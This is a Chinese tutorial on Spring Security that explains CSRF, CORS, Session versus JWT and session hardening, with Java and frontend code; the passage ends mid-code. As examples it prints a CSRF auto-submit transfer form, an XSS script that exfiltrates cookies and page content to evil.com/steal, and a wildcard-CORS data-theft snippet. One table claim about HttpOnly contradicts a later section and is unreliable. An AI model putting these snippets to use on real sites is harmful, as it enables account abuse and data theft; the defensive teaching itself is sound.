Spring Security 讨论到后面,很容易混进一堆名词:
这些概念经常同时出现,但解决的问题完全不同。如果边界不清,配置很容易一通乱关,最后系统"能跑了",安全边界却没了。
(Cross-Site Request Forgery,跨站请求伪造)针对的是这样一种风险:
所以它和"是不是前后端分离"并没有直接等号关系,核心看的是:
如果会自动携带,例如基于 Cookie 的 Session 模式,就要特别重视 。
攻击场景:
1. 用户登录了银行网站 bank.com
→ 浏览器保存了 Cookie (session_id=xxx)
2. 用户在新标签页访问恶意网站 evil.com
→ 页面中包含恶意代码
3. 恶意代码发起请求到 bank.com
<form action="https://bank.com/transfer" method="POST">
<input type="hidden" name="to" value="attacker">
<input type="hidden" name="amount" value="10000">
</form>
<script>document.forms[0].submit();</script>
4. 浏览器自动带上 bank.com 的 Cookie
→ 银行服务器认为是合法请求
→ 转账成功!关键点:
CSRF 攻击成功需要满足以下条件:
目标网站使用 Cookie 认证
请求可被伪造
用户已登录目标网站
用户访问了恶意页面
| 特性 | CSRF | XSS |
|---|---|---|
| 攻击方式 | 伪造请求 | 注入恶意脚本 |
| 利用用户身份 | 是 | 是 |
| 能否读取数据 | 否 | 能 |
| 能否窃取 Cookie | 否 | 能(HttpOnly 也无法防止) |
| 防护措施 | CSRF Token | 输入输出转义、CSP |
CSRF 示例:
<!-- 恶意网站 evil.com -->
<form action="https://bank.com/transfer" method="POST">
<input type="hidden" name="to" value="attacker">
<input type="hidden" name="amount" value="10000">
</form>
<script>document.forms[0].submit();</script>
<!-- 无法读取响应内容 -->XSS 示例:
<!-- 注入到目标网站的恶意脚本 -->
<script>
// 可以读取 Cookie
var cookie = document.cookie;
// 可以读取页面内容
var content = document.body.innerHTML;
// 发送给攻击者
fetch('https://evil.com/steal?data=' + encodeURIComponent(content));
</script>(Cross-Origin Resource Sharing,跨源资源共享)解决的是浏览器跨域访问限制问题。它关注的是:
它不是安全认证机制,也不是权限控制机制。
可以简单记为:
什么是同源: 两个 URL 同源需要满足三个条件:
示例:
当前页面: https://www.example.com/page
同源:
√ https://www.example.com/api
√ https://www.example.com:443/api (默认端口)
√ https://www.example.com/other/page
不同源:
× http://www.example.com/api (协议不同)
× https://api.example.com (域名不同)
× https://www.example.com:8080 (端口不同)
× https://sub.example.com (子域名不同)同源策略的限制:
简单请求(Simple Request):
满足以下条件的请求不会触发预检:
请求方法:
- GET
- POST
- HEAD
请求头(仅允许):
- Accept
- Accept-Language
- Content-Language
- Content-Type (仅限 application/x-www-form-urlencoded、multipart/form-data、text/plain)简单请求流程:
1. 浏览器直接发送请求
GET https://api.example.com/users
Origin: https://www.example.com
2. 服务器响应
Access-Control-Allow-Origin: https://www.example.com
Access-Control-Allow-Credentials: true
3. 浏览器检查响应头
- 如果 Origin 匹配,允许前端读取响应
- 如果不匹配,报错预检请求(Preflight Request):
不符合简单请求条件的请求会先发送 OPTIONS 预检:
1. 浏览器发送预检请求
OPTIONS https://api.example.com/users
Origin: https://www.example.com
Access-Control-Request-Method: POST
Access-Control-Request-Headers: Content-Type, Authorization
2. 服务器响应预检
Access-Control-Allow-Origin: https://www.example.com
Access-Control-Allow-Methods: POST, GET, PUT, DELETE
Access-Control-Allow-Headers: Content-Type, Authorization
Access-Control-Max-Age: 86400
3. 浏览器发送实际请求
POST https://api.example.com/users
Origin: https://www.example.com
Content-Type: application/json
Authorization: Bearer xxx
4. 服务器响应实际请求
Access-Control-Allow-Origin: https://www.example.com| 响应头 | 说明 | 示例 |
|---|---|---|
| Access-Control-Allow-Origin | 允许的源 | 或 |
| Access-Control-Allow-Methods | 允许的方法 | |
| Access-Control-Allow-Headers | 允许的请求头 | |
| Access-Control-Allow-Credentials | 是否允许携带凭证 | |
| Access-Control-Max-Age | 预检请求缓存时间(秒) | |
| Access-Control-Expose-Headers | 暴露给前端的响应头 |
重要限制:
// × 错误:同时使用通配符和凭证
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
// 浏览器会报错
// √ 正确:指定源 + 凭证
Access-Control-Allow-Origin: https://www.example.com
Access-Control-Allow-Credentials: true传统 Session 模式下:
这种模式下,如果没有额外保护,就天然更容易引出 风险。
1. 用户登录
POST /login
Body: { username, password }
↓
2. 服务端验证
- 检查用户名密码
- 创建 Session
- 生成 Session ID
↓
3. 返回 Cookie
Set-Cookie: SESSION=NjUyZDk...; Path=/; HttpOnly
↓
4. 后续请求
GET /api/user
Cookie: SESSION=NjUyZDk...
↓
5. 服务端验证 Session
- 根据 Session ID 查找 Session
- 检查是否过期
- 获取用户信息1. 内存存储(In-Memory)
@Bean
public SessionRegistry sessionRegistry() {
return new SessionRegistryImpl();
}优点:
缺点:
2. 数据库存储
@Bean
public FindByIndexNameSessionRepository<?> sessionRepository() {
return new JdbcIndexedSessionRepository(dataSource, "SPRING_SESSION");
}
// 需要创建表
CREATE TABLE SPRING_SESSION (
PRIMARY_ID CHAR(36) NOT NULL,
SESSION_ID CHAR(36) NOT NULL,
CREATION_TIME BIGINT NOT NULL,
LAST_ACCESS_TIME BIGINT NOT NULL,
MAX_INACTIVE_INTERVAL INT NOT NULL,
EXPIRY_TIME BIGINT NOT NULL,
PRINCIPAL_NAME VARCHAR(100),
CONSTRAINT SPRING_SESSION_PK PRIMARY KEY (PRIMARY_ID)
);优点:
缺点:
3. Redis 存储(推荐)
@Bean
public RedisIndexedSessionRepository sessionRepository(
RedisTemplate<Object, Object> redisTemplate) {
return new RedisIndexedSessionRepository(redisTemplate);
}优点:
缺点:
@Configuration
@EnableWebSecurity
public class SessionSecurityConfig {
@Bean
public SecurityFilterChain securityFilterChain(HttpSecurity http)
throws Exception {
http
.authorizeHttpRequests(authz -> authz
.anyRequest().authenticated()
)
.formLogin(form -> form
.loginPage("/login")
.permitAll()
)
.sessionManagement(session -> session
.sessionCreationPolicy(SessionCreationPolicy.IF_REQUIRED)
.maximumSessions(1) // 单设备登录
.maxSessionsPreventsLogin(false) // 踢掉旧登录
.sessionRegistry(sessionRegistry())
)
.csrf(csrf -> csrf
.csrfTokenRepository(CookieCsrfTokenRepository.withHttpOnlyFalse())
);
return http.build();
}
@Bean
public SessionRegistry sessionRegistry() {
return new SessionRegistryImpl();
}
}JWT 或其他 Token 模式下:
这种模式下,浏览器不会像 Cookie 那样默认自动附带所有凭证,因此 风险讨论通常会弱很多,但并不代表没有其他安全问题。
1. 用户登录
POST /auth/login
Body: { username, password }
↓
2. 服务端验证
- 检查用户名密码
- 生成 JWT
- 返回 Token
↓
3. 前端存储 Token
- 内存
- HttpOnly Cookie
- localStorage(不推荐)
↓
4. 后续请求
GET /api/user
Authorization: Bearer eyJhbGciOi...
↓
5. 服务端验证 JWT
- 解析 Token
- 验证签名
- 检查过期
- 提取用户信息@Configuration
@EnableWebSecurity
public class JwtSecurityConfig {
@Bean
public SecurityFilterChain securityFilterChain(HttpSecurity http)
throws Exception {
http
.csrf(csrf -> csrf.disable()) // JWT 模式通常禁用 CSRF
.sessionManagement(session ->
session.sessionCreationPolicy(SessionCreationPolicy.STATELESS))
.authorizeHttpRequests(authz -> authz
.requestMatchers("/auth/**").permitAll()
.anyRequest().authenticated()
)
.addFilterBefore(jwtAuthenticationFilter(),
UsernamePasswordAuthenticationFilter.class);
return http.build();
}
}| 特性 | Session | JWT |
|---|---|---|
| 存储位置 | 服务端 | 客户端 |
| 状态 | 有状态 | 无状态 |
| 扩展性 | 需要共享存储 | 天然支持分布式 |
| 注销 | 立即生效 | 需要黑名单 |
| CSRF 风险 | 高(浏览器自动带 Cookie) | 低(手动添加到请求头) |
| 性能 | 每次需查询存储 | 自包含,无需查询 |
| 安全性 | 依赖 Cookie 安全 | 依赖 Token 保护 |
| 体积 | Cookie 小 | Token 较大 |
关键原因:
// Cookie 模式:浏览器自动携带
fetch('https://api.example.com/transfer', {
method: 'POST',
// Cookie 自动带上,无需手动设置
});
// √ 恶意网站也可以发起请求,浏览器会自动带 Cookie
// JWT 模式:需要手动添加到请求头
fetch('https://api.example.com/transfer', {
method: 'POST',
headers: {
'Authorization': 'Bearer ' + token // 需要手动添加
}
});
// × 恶意网站无法获取 Token,无法发起请求但需要注意:
很多项目为了"先让前端调通",会直接把 配成全开放。这会带来几个问题:
更稳妥的做法是:
全开放的 CORS 配置:
// × 危险配置
@Bean
public CorsConfigurationSource corsConfigurationSource() {
CorsConfiguration configuration = new CorsConfiguration();
configuration.setAllowedOrigins(Arrays.asList("*")); // 所有来源
configuration.setAllowedMethods(Arrays.asList("*")); // 所有方法
configuration.setAllowedHeaders(Arrays.asList("*")); // 所有头
configuration.setAllowCredentials(true); // 允许凭证
UrlBasedCorsConfigurationSource source = new UrlBasedCorsConfigurationSource();
source.registerCorsConfiguration("/**", configuration);
return source;
}问题:
1. 任意网站都可以调用你的 API
2. 可以窃取用户敏感数据
3. 可以执行用户操作攻击示例:
<!-- 恶意网站 evil.com -->
<script>
// 因为 CORS 全开,这个请求会成功
fetch('https://api.example.com/user/profile', {
credentials: 'include' // 携带 Cookie
})
.then(response => response.json())
.then(data => {
// 窃取用户数据
sendToAttacker(data);
});
</script>指定来源:
@Bean
public CorsConfigurationSource corsConfigurationSource() {
CorsConfiguration configuration = new CorsConfiguration();
// √ 明确指定允许的来源
configuration.setAllowedOrigins(Arrays.asList(
"https://www.example.com",
"https://app.example.com"
));
// √ 只开放必要的方法
configuration.setAllowedMethods(Arrays.asList(
"GET", "POST", "PUT", "DELETE"
));
// √ 只开放必要的头
configuration.setAllowedHeaders(Arrays.asList(
"Authorization",
"Content-Type"
));
// √ 明确是否允许凭证
configuration.setAllowCredentials(true);
// √ 设置预检缓存时间
configuration.setMaxAge(3600L);
UrlBasedCorsConfigurationSource source = new UrlBasedCorsConfigurationSource();
source.registerCorsConfiguration("/api/**", configuration);
return source;
}动态 CORS 配置:
@Component
public class DynamicCorsFilter extends OncePerRequestFilter {
@Autowired
private AllowedOriginsService allowedOriginsService;
@Override
protected void doFilterInternal(
HttpServletRequest request,
HttpServletResponse response,
FilterChain filterChain) throws ServletException, IOException {
String origin = request.getHeader("Origin");
// 从数据库或配置中心加载允许的来源
if (allowedOriginsService.isAllowed(origin)) {
response.setHeader("Access-Control-Allow-Origin", origin);
response.setHeader("Access-Control-Allow-Methods", "GET, POST, PUT, DELETE");
response.setHeader("Access-Control-Allow-Headers", "Authorization, Content-Type");
response.setHeader("Access-Control-Allow-Credentials", "true");
response.setHeader("Access-Control-Max-Age", "3600");
}
// 处理预检请求
if ("OPTIONS".equalsIgnoreCase(request.getMethod())) {
response.setStatus(HttpServletResponse.SC_OK);
return;
}
filterChain.doFilter(request, response);
}
}Spring Security 通过 CSRF Token 防护 CSRF 攻击:
1. 服务器生成 CSRF Token
- 随机字符串
- 绑定到 Session
- 存储在服务端
2. 将 Token 发送给前端
- 嵌入在表单隐藏字段
- 或设置到 Cookie
3. 前端提交时携带 Token
- 表单参数 _csrf
- 或请求头 X-XSRF-TOKEN
4. 服务器验证 Token
- 对比请求中的 Token 和 Session 中的 Token
- 不匹配则拒绝请求将 Token 存储在 Cookie 中(前端框架友好):
@Bean
public SecurityFilterChain securityFilterChain(HttpSecurity http)
throws Exception {
http
.csrf(csrf -> csrf
.csrfTokenRepository(CookieCsrfTokenRepository.withHttpOnlyFalse())
);
return http.build();
}工作原理:
1. 服务器设置 Cookie
Set-Cookie: XSRF-TOKEN=abc123; Path=/
2. 前端读取 Cookie 并添加到请求头
X-XSRF-TOKEN: abc123
3. 服务器验证前端集成:
// Angular 自动支持 XSRF-TOKEN Cookie
// React/Vue 手动添加
import Cookies from 'js-cookie';
axios.interceptors.request.use(config => {
const token = Cookies.get('XSRF-TOKEN');
if (token) {
config.headers['X-XSRF-TOKEN'] = token;
}
return config;
});将 Token 存储在 Session 中(默认方式):
@Bean
public SecurityFilterChain securityFilterChain(HttpSecurity http)
throws Exception {
http
.csrf(csrf -> csrf
.csrfTokenRepository(new HttpSessionCsrfTokenRepository())
);
return http.build();
}Thymeleaf 模板集成:
<form action="/transfer" method="POST">
<!-- 自动添加 CSRF Token -->
<input type="hidden" th:name="${_csrf.parameterName}" th:value="${_csrf.token}"/>
<input type="text" name="to"/>
<input type="number" name="amount"/>
<button type="submit">转账</button>
</form>@Configuration
@EnableWebSecurity
public class CsrfSecurityConfig {
@Bean
public SecurityFilterChain securityFilterChain(HttpSecurity http)
throws Exception {
http
.authorizeHttpRequests(authz -> authz
.anyRequest().authenticated()
)
.formLogin(form -> form
.loginPage("/login")
.permitAll()
)
// 启用 CSRF(默认已启用)
.csrf(csrf -> csrf
.csrfTokenRepository(CookieCsrfTokenRepository.withHttpOnlyFalse())
.ignoringRequestMatchers("/api/public/**") // 忽略某些路径
);
return http.build();
}
}@Bean
public SecurityFilterChain securityFilterChain(HttpSecurity http)
throws Exception {
http
.csrf(csrf -> csrf.disable()); // 仅在确认无 CSRF 风险时禁用
return http.build();
}何时可以禁用:
何时不应该禁用:
@Bean
public SecurityFilterChain securityFilterChain(HttpSecurity http)
throws Exception {
http
.csrf(csrf -> csrf
.ignoringRequestMatchers(
"/api/webhook/**", // Webhook 回调
"/api/public/**", // 公共 API
"/ws/**" // WebSocket
)
);
return http.build();
}// axios 配置
import axios from 'axios';
import Cookies from 'js-cookie';
// 创建 axios 实例
const api = axios.create({
baseURL: '/api',
timeout: 10000,
withCredentials: true // 允许携带 Cookie
});
// 请求拦截器:添加 CSRF Token
api.interceptors.request.use(config => {
const method = config.method?.toUpperCase();
// 仅对非安全方法添加 CSRF Token
if (['POST', 'PUT', 'DELETE', 'PATCH'].includes(method)) {
const token = Cookies.get('XSRF-TOKEN');
if (token) {
config.headers['X-XSRF-TOKEN'] = token;
}
}
return config;
});
export default api;
// 使用
async function transferMoney(to, amount) {
try {
const response = await api.post('/transfer', { to, amount });
return response.data;
} catch (error) {
if (error.response?.status === 403) {
// CSRF Token 无效或过期
console.error('CSRF token invalid');
// 刷新页面获取新 Token
window.location.reload();
}
throw error;
}
}// api.js
import axios from 'axios';
import Cookies from 'js-cookie';
const api = axios.create({
baseURL: '/api',
withCredentials: true
});
api.interceptors.request.use(config => {
const token = Cookies.get('XSRF-TOKEN');
if (token) {
config.headers['X-XSRF-TOKEN'] = token;
}
return config;
});
export default api;
// 组件中使用
<script>
import api from '@/api';
export default {
methods: {
async submitForm() {
try {
const response = await api.post('/api/form', this.formData);
this.$message.success('提交成功');
} catch (error) {
if (error.response?.status === 403) {
this.$message.error('安全验证失败,请刷新页面重试');
}
}
}
}
}
</script>@Configuration
@EnableWebSecurity
public class CorsSecurityConfig {
@Bean
public SecurityFilterChain securityFilterChain(HttpSecurity http)
throws Exception {
http
.cors(cors -> cors.configurationSource(corsConfigurationSource()))
.authorizeHttpRequests(authz -> authz
.anyRequest().authenticated()
);
return http.build();
}
@Bean
public CorsConfigurationSource corsConfigurationSource() {
CorsConfiguration configuration = new CorsConfiguration();
// 允许的来源
configuration.setAllowedOrigins(Arrays.asList(
"https://www.example.com",
"https://app.example.com"
));
// 允许的方法
configuration.setAllowedMethods(Arrays.asList(
"GET", "POST", "PUT", "DELETE", "OPTIONS"
));
// 允许的请求头
configuration.setAllowedHeaders(Arrays.asList(
"Authorization",
"Content-Type",
"X-Requested-With"
));
// 允许携带凭证
configuration.setAllowCredentials(true);
// 暴露的响应头
configuration.setExposedHeaders(Arrays.asList(
"X-Total-Count",
"X-Page-Number"
));
// 预检缓存时间
configuration.setMaxAge(3600L);
UrlBasedCorsConfigurationSource source = new UrlBasedCorsConfigurationSource();
source.registerCorsConfiguration("/**", configuration);
return source;
}
}@RestController
@RequestMapping("/api")
@CrossOrigin(
origins = "https://www.example.com",
methods = {RequestMethod.GET, RequestMethod.POST},
allowedHeaders = {"Authorization", "Content-Type"},
allowCredentials = "true",
maxAge = 3600
)
public class ApiController {
@GetMapping("/users")
public List<User> getUsers() {
// ...
}
}@RestController
@RequestMapping("/api")
public class ApiController {
@GetMapping("/public")
@CrossOrigin(origins = "*") // 公共接口允许所有来源
public String publicApi() {
return "public";
}
@PostMapping("/private")
@CrossOrigin(origins = "https://www.example.com") // 私有接口限制来源
public String privateApi() {
return "private";
}
}@Configuration
@EnableWebSecurity
public class CorsSecurityConfig {
@Value("${cors.allowed-origins}")
private String allowedOrigins;
@Value("${cors.allow-credentials:true}")
private boolean allowCredentials;
@Bean
public CorsConfigurationSource corsConfigurationSource() {
CorsConfiguration configuration = new CorsConfiguration();
// 从配置文件读取允许的来源
List<String> origins = Arrays.asList(allowedOrigins.split(","));
configuration.setAllowedOrigins(origins);
configuration.setAllowedMethods(Arrays.asList("*"));
configuration.setAllowedHeaders(Arrays.asList("*"));
configuration.setAllowCredentials(allowCredentials);
configuration.setMaxAge(3600L);
UrlBasedCorsConfigurationSource source = new UrlBasedCorsConfigurationSource();
source.registerCorsConfiguration("/**", configuration);
return source;
}
}# application-dev.yml
cors:
allowed-origins: "http://localhost:3000,http://localhost:8080"
allow-credentials: true
# application-prod.yml
cors:
allowed-origins: "https://www.example.com,https://app.example.com"
allow-credentials: true前端和后端域名不同,浏览器会触发跨域限制。这时需要正确配置 ,而不是简单"全开所有来源"。
问题场景:
前端: https://www.example.com
后端: https://api.example.com
请求失败:
Access to XMLHttpRequest at 'https://api.example.com/users'
from origin 'https://www.example.com' has been blocked by CORS policy解决方案:
@Configuration
@EnableWebSecurity
public class CorsSecurityConfig {
@Bean
public SecurityFilterChain securityFilterChain(HttpSecurity http)
throws Exception {
http
.cors(cors -> cors.configurationSource(corsConfigurationSource()))
.csrf(csrf -> csrf.disable()) // JWT 模式禁用 CSRF
.sessionManagement(session ->
session.sessionCreationPolicy(SessionCreationPolicy.STATELESS))
.authorizeHttpRequests(authz -> authz
.requestMatchers(HttpMethod.OPTIONS, "/**").permitAll() // 放行预检
.requestMatchers("/auth/**").permitAll()
.anyRequest().authenticated()
)
.addFilterBefore(jwtAuthenticationFilter(),
UsernamePasswordAuthenticationFilter.class);
return http.build();
}
@Bean
public CorsConfigurationSource corsConfigurationSource() {
CorsConfiguration configuration = new CorsConfiguration();
// 只允许前端域名
configuration.setAllowedOrigins(Arrays.asList(
"https://www.example.com",
"https://app.example.com"
));
// 允许的方法
configuration.setAllowedMethods(Arrays.asList(
"GET", "POST", "PUT", "DELETE", "OPTIONS"
));
// 允许的请求头
configuration.setAllowedHeaders(Arrays.asList(
"Authorization",
"Content-Type"
));
// 允许携带凭证(Cookie)
configuration.setAllowCredentials(true);
UrlBasedCorsConfigurationSource source = new UrlBasedCorsConfigurationSource();
source.registerCorsConfiguration("/**", configuration);
return source;
}
}如果浏览器自动带 Cookie,而系统又没有额外校验,就存在 风险。
问题场景:
<!-- 恶意网站 evil.com -->
<form action="https://bank.example.com/transfer" method="POST">
<input type="hidden" name="to" value="attacker">
<input type="hidden" name="amount" value="10000">
</form>
<script>document.forms[0].submit();</script>解决方案:
@Configuration
@EnableWebSecurity
public class CsrfSecurityConfig {
@Bean
public SecurityFilterChain securityFilterChain(HttpSecurity http)
throws Exception {
http
.authorizeHttpRequests(authz -> authz
.anyRequest().authenticated()
)
.formLogin(form -> form
.loginPage("/login")
.permitAll()
)
// 启用 CSRF 防护
.csrf(csrf -> csrf
.csrfTokenRepository(CookieCsrfTokenRepository.withHttpOnlyFalse())
);
return http.build();
}
}前端防护:
// 每次请求添加 CSRF Token
axios.interceptors.request.use(config => {
const token = Cookies.get('XSRF-TOKEN');
if (token && ['POST', 'PUT', 'DELETE'].includes(config.method?.toUpperCase())) {
config.headers['X-XSRF-TOKEN'] = token;
}
return config;
});用户登出后,如果服务端 Session 或前端 Token 仍然有效,就会出现"看起来退出了,其实还能访问"的边界问题。
问题场景:
1. 用户点击登出
2. 前端清除 Token
3. 但 Token 仍然有效
4. 攻击者获取 Token 后仍可访问Session 模式解决方案:
@RestController
@RequestMapping("/auth")
public class AuthController {
@PostMapping("/logout")
public ResponseEntity<?> logout(HttpServletRequest request,
HttpServletResponse response) {
// 1. 使 Session 失效
request.getSession().invalidate();
// 2. 清除 Remember-Me Cookie
CookieClearingLogoutHandler logoutHandler =
new CookieClearingLogoutHandler("JSESSIONID", "remember-me");
logoutHandler.logout(request, response, null);
// 3. 清除 SecurityContext
SecurityContextHolder.clearContext();
return ResponseEntity.ok().build();
}
}JWT 模式解决方案:
@Service
public class TokenBlacklistService {
@Autowired
private RedisTemplate<String, String> redisTemplate;
// 将 Token 加入黑名单
public void addToBlacklist(String token, long expirationTime) {
String key = "blacklist:" + token;
long ttl = expirationTime - System.currentTimeMillis();
if (ttl > 0) {
redisTemplate.opsForValue().set(
key, "revoked",
ttl, TimeUnit.MILLISECONDS
);
}
}
// 检查 Token 是否在黑名单中
public boolean isBlacklisted(String token) {
String key = "blacklist:" + token;
return Boolean.TRUE.equals(redisTemplate.hasKey(key));
}
}
// JWT 过滤器中检查黑名单
public class JwtAuthenticationFilter extends OncePerRequestFilter {
@Autowired
private TokenBlacklistService blacklistService;
@Override
protected void doFilterInternal(...) {
String token = getJwtFromRequest(request);
if (token != null) {
// 检查黑名单
if (blacklistService.isBlacklisted(token)) {
response.sendError(401, "Token revoked");
return;
}
// 验证 Token
// ...
}
filterChain.doFilter(request, response);
}
}
// 登出时将 Token 加入黑名单
@PostMapping("/logout")
public ResponseEntity<?> logout(@RequestHeader("Authorization") String authHeader) {
String token = authHeader.replace("Bearer ", "");
// 解析 Token 获取过期时间
Claims claims = jwtTokenProvider.parseToken(token);
long expirationTime = claims.getExpiration().getTime();
// 加入黑名单
tokenBlacklistService.addToBlacklist(token, expirationTime);
return ResponseEntity.ok().build();
}场景:
主域名: example.com
子域名:
- www.example.com (官网)
- app.example.com (应用)
- api.example.com (API)配置方案:
@Bean
public CorsConfigurationSource corsConfigurationSource() {
CorsConfiguration configuration = new CorsConfiguration();
// 允许所有子域名
configuration.setAllowedOriginPatterns(Arrays.asList(
"https://*.example.com" // 通配符匹配所有子域名
));
configuration.setAllowedMethods(Arrays.asList("*"));
configuration.setAllowedHeaders(Arrays.asList("*"));
configuration.setAllowCredentials(true);
UrlBasedCorsConfigurationSource source = new UrlBasedCorsConfigurationSource();
source.registerCorsConfiguration("/**", configuration);
return source;
}或者使用正则匹配:
@Component
public class RegexCorsFilter extends OncePerRequestFilter {
@Override
protected void doFilterInternal(
HttpServletRequest request,
HttpServletResponse response,
FilterChain filterChain) throws ServletException, IOException {
String origin = request.getHeader("Origin");
// 使用正则匹配子域名
if (origin != null && origin.matches("https://[a-z0-9-]+\\.example\\.com")) {
response.setHeader("Access-Control-Allow-Origin", origin);
response.setHeader("Access-Control-Allow-Methods", "GET, POST, PUT, DELETE");
response.setHeader("Access-Control-Allow-Headers", "*");
response.setHeader("Access-Control-Allow-Credentials", "true");
}
if ("OPTIONS".equalsIgnoreCase(request.getMethod())) {
response.setStatus(HttpServletResponse.SC_OK);
return;
}
filterChain.doFilter(request, response);
}
}很多前后端分离项目会这样写:
http.csrf(csrf -> csrf.disable());这样做不是说 不重要,而通常是因为:
在这种前提下, 风险模型已经变化,所以很多项目会选择关闭默认 防护。
但如果你仍然使用:
那就不能草率地直接关掉它。
是否使用 Cookie 认证?
├─ 否 → 可以禁用 CSRF
│ └─ JWT Token 在请求头中
│
└─ 是 → 需要启用 CSRF 防护
├─ 表单提交 → 使用 HttpSessionCsrfTokenRepository
│
└─ AJAX/API → 使用 CookieCsrfTokenRepository
└─ 前端读取 Cookie 并添加到请求头有些应用同时支持 Session 和 JWT:
@Configuration
@EnableWebSecurity
public class MixedSecurityConfig {
@Bean
@Order(1)
public SecurityFilterChain apiSecurityFilterChain(HttpSecurity http)
throws Exception {
http
.securityMatcher("/api/**")
.csrf(csrf -> csrf.disable()) // API 禁用 CSRF
.sessionManagement(session ->
session.sessionCreationPolicy(SessionCreationPolicy.STATELESS))
.authorizeHttpRequests(authz -> authz
.anyRequest().authenticated()
)
.addFilterBefore(jwtAuthenticationFilter(),
UsernamePasswordAuthenticationFilter.class);
return http.build();
}
@Bean
@Order(2)
public SecurityFilterChain webSecurityFilterChain(HttpSecurity http)
throws Exception {
http
.securityMatcher("/**")
.csrf(csrf -> csrf
.csrfTokenRepository(CookieCsrfTokenRepository.withHttpOnlyFalse())
) // Web 启用 CSRF
.authorizeHttpRequests(authz -> authz
.anyRequest().authenticated()
)
.formLogin(form -> form
.loginPage("/login")
.permitAll()
);
return http.build();
}
}无论是 Session 还是 Token,会话安全都至少要考虑:
这也是为什么安全问题不能只看"能不能登录成功"。
HttpOnly
// 防止 JavaScript 读取 Cookie
Cookie cookie = new Cookie("SESSION", sessionId);
cookie.setHttpOnly(true); // XSS 攻击无法窃取 CookieSecure
// 仅通过 HTTPS 传输
cookie.setSecure(true); // 防止中间人攻击SameSite
// 控制跨站请求是否携带 Cookie
cookie.setAttribute("SameSite", "Strict"); // 或 "Lax", "None"
/*
Strict: 仅同站请求携带 Cookie
Lax: 允许顶级导航的 GET 请求携带 Cookie
None: 允许所有跨站请求携带 Cookie(需要 Secure)
*/Spring Session Cookie 配置:
@Bean
public CookieSerializer cookieSerializer() {
DefaultCookieSerializer serializer = new DefaultCookieSerializer();
serializer.setCookieName("SESSION");
serializer.setUseHttpOnlyCookie(true);
serializer.setSameSite("Strict");
serializer.setUseSecureCookie(true);
return serializer;
}攻击原理:
1. 攻击者获取 Session ID: ABC123
2. 诱导受害者使用该 Session ID 登录
https://bank.com/login?SESSION=ABC123
3. 受害者登录成功,Session ABC123 被授权
4. 攻击者使用 ABC123 访问受害者的账户Spring Security 防护:
@Bean
public SecurityFilterChain securityFilterChain(HttpSecurity http)
throws Exception {
http
.sessionManagement(session -> session
.sessionFixation(sessionFixation ->
sessionFixation.migrateSession() // 登录时迁移 Session
// 或 newSession() - 创建新 Session
// 或 none() - 不做防护(不推荐)
)
);
return http.build();
}migrateSession vs newSession:
@Bean
public SecurityFilterChain securityFilterChain(HttpSecurity http)
throws Exception {
http
.sessionManagement(session -> session
.maximumSessions(1) // 每个用户只能有一个活跃 Session
.maxSessionsPreventsLogin(false) // 踢掉旧登录
.sessionRegistry(sessionRegistry())
);
return http.build();
}
@Bean
public SessionRegistry sessionRegistry() {
return new SessionRegistryImpl();
}
// 监听 Session 创建和销毁
@Bean
public HttpSessionEventPublisher httpSessionEventPublisher() {
return new HttpSessionEventPublisher();
}@Bean
public SecurityFilterChain securityFilterChain(HttpSecurity http)
throws Exception {
http
.sessionManagement(session -> session
.invalidSessionUrl("/login?expired") // Session 过期重定向
);
return http.build();
}
// application.yml
server:
servlet:
session:
timeout: 30m # Session 超时时间@Configuration
@EnableRedisHttpSession
public class RedisSessionConfig {
@Bean
public LettuceConnectionFactory redisConnectionFactory() {
return new LettuceConnectionFactory();
}
@Bean
public CookieSerializer cookieSerializer() {
DefaultCookieSerializer serializer = new DefaultCookieSerializer();
serializer.setCookieName("SESSION");
serializer.setUseHttpOnlyCookie(true);
serializer.setSameSite("Strict");
return serializer;
}
}# application.yml
spring:
session:
redis:
namespace: "myapp:session"
timeout: 30m遇到安全边界问题时,优先看:
排查工具:
// 1. 打印请求头
@GetMapping("/debug/headers")
public ResponseEntity<?> debugHeaders(HttpServletRequest request) {
Map<String, String> headers = new HashMap<>();
Collections.list(request.getHeaderNames())
.forEach(name -> headers.put(name, request.getHeader(name)));
return ResponseEntity.ok(headers);
}
// 2. 打印 Cookie
@GetMapping("/debug/cookies")
public ResponseEntity<?> debugCookies(HttpServletRequest request) {
Cookie[] cookies = request.getCookies();
if (cookies == null) {
return ResponseEntity.ok("No cookies");
}
List<Map<String, Object>> cookieList = Arrays.stream(cookies)
.map(cookie -> Map.of(
"name", cookie.getName(),
"value", cookie.getValue(),
"domain", cookie.getDomain(),
"path", cookie.getPath(),
"secure", cookie.getSecure(),
"httpOnly", cookie.isHttpOnly()
))
.collect(Collectors.toList());
return ResponseEntity.ok(cookieList);
}
// 3. 打印 Session 信息
@GetMapping("/debug/session")
public ResponseEntity<?> debugSession(HttpServletRequest request) {
HttpSession session = request.getSession(false);
if (session == null) {
return ResponseEntity.ok("No session");
}
return ResponseEntity.ok(Map.of(
"id", session.getId(),
"creationTime", session.getCreationTime(),
"lastAccessedTime", session.getLastAccessedTime(),
"maxInactiveInterval", session.getMaxInactiveInterval(),
"attributes", Collections.list(session.getAttributeNames())
));
}安全检查清单:
## CORS 安全检查清单
### 配置检查
- [ ] 是否明确指定允许的来源
- [ ] 是否限制允许的方法
- [ ] 是否限制允许的请求头
- [ ] 是否明确是否允许凭证
- [ ] 是否设置了预检缓存时间
### 测试检查
- [ ] 测试未授权来源是否被拒绝
- [ ] 测试预检请求是否正确响应
- [ ] 测试跨域请求是否携带 Cookie
- [ ] 测试跨域错误是否被正确处理
## CSRF 安全检查清单
### 配置检查
- [ ] 是否根据认证模式启用/禁用 CSRF
- [ ] CSRF Token 是否正确传递给前端
- [ ] 前端是否正确添加 Token 到请求
- [ ] 是否忽略了不必要的路径
### 测试检查
- [ ] 测试无 Token 的请求是否被拒绝
- [ ] 测试错误 Token 的请求是否被拒绝
- [ ] 测试 Token 过期后的行为
- [ ] 测试并发请求的 Token 处理
## 会话安全检查清单
### Cookie 安全
- [ ] 所有 Cookie 都设置了 HttpOnly
- [ ] 所有 Cookie 都设置了 Secure
- [ ] 关键 Cookie 设置了 SameSite
- [ ] Cookie 路径设置正确
### Session 管理
- [ ] Session 超时时间合理
- [ ] 登出后 Session 立即失效
- [ ] Session 固定攻击防护已启用
- [ ] Session 并发控制已配置
### Token 管理
- [ ] Token 有效期合理
- [ ] 登出后 Token 加入黑名单
- [ ] Token 泄露可撤销
- [ ] Refresh Token 安全存储问题:
// × 错误:只配置 CORS,不配置权限
@Bean
public SecurityFilterChain securityFilterChain(HttpSecurity http) {
http
.cors(cors -> cors.configurationSource(corsConfigurationSource()))
// 没有配置授权规则
return http.build();
